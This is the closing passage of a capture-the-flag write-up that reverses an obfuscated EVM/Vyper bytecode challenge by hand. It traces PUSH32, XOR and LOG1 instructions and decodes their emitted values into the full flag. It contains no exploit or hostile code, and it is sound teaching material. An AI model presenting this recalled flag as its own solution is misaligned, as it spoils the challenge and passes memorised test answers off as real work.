0560 60 PUSH1 0xe0
0562 52 MSTORE
// push 0x20
0563 7F PUSH32 0xb861afb70639f08b7f0a674d3ce0216ce6746772b2c753574d99d19c2507759b
0584 7F PUSH32 0x479e5048f9c60f7480f598b2c31fde93198b988d4d38aca8b2662e63daf88a85
05A5 01 ADD
// push 0xe0
05A6 7F PUSH32 0x5a589468edfec83b6b027d7dc5bb900ed2921f1620aae0da1aa294cc3ef1dd71
05C7 7F PUSH32 0xa5a76b97120137c494fd82823a446ff12d6de0e9df551f25e55d6b33c10e236f
05E8 01 ADD
05E9 A1 LOG1
```
The log1 instruction in the end now emits the value `0x4d684c674e377772326f42757963660000000000000000000000000000000000` with topic `0x26b577bc367ce1111f29b7bb22eebb57a2086a020aa0c88c6c588e5b4cf0efdf`.
`0x4d684c674e377772326f4275796366` base58 decoded gives us `SuCh_4_M3t4`, so we seem to be on the right track.
The next log1 instruction with context is:
```
05FE 7F PUSH32 0x6751ff9969e5beee7bb9fd6731aba2e2a213bd96a1f54b0a24d11452a915ab96
061F 7F PUSH32 0xa3f4105dff5270ad5b285974bd7f411880965825ce709ecdb52d7d484df31bfd
0640 7F PUSH32 0x493267cb0f8113a9bd75b52869d3344723cd0d18ac091431f0c8c0557d4d69c3
0661 7F PUSH32 0x8a7d2dab1437a704175dec5cd4ac755fa35b553d62798afc45e5bd1d30be723e
0682 18 XOR
0683 03 SUB
0684 60 PUSH1 0xe0
0686 52 MSTORE
0687 60 PUSH1 0x20
0689 60 PUSH1 0xe0
068B A1 LOG1
```
Which outputs `0x1f5b3a021c6444004f0000000000000000000000000000000000000000000000` at topic `0x6751ff9969e5beee7bb9fd6731aba2e2a213bd96a1f54b0a24d11452a915ab96`.
We xor the value with the value emitted directly before and get the last part of our flag: `R3veRS3r}`
:::success
:tada: PWNME{SuCh_4_M3t4R3veRS3r} :tada:
:::
:::info
Here the main takeaway is that evm can okishly be reversed by hand.
:::
#### Overview of solve
<a id="tldr-vyper"></a>
- Realize that you don't need the decompiler, you are strong
- Do the work
- Realize that it uses control flow flattening through 0x06B4
- It computes values in a convoluted way (but locally) so we can shorten the values
- Use the hint to reassemble the flag
## Conclusion
I hope you had some fun reading these writeups and have learned something new :D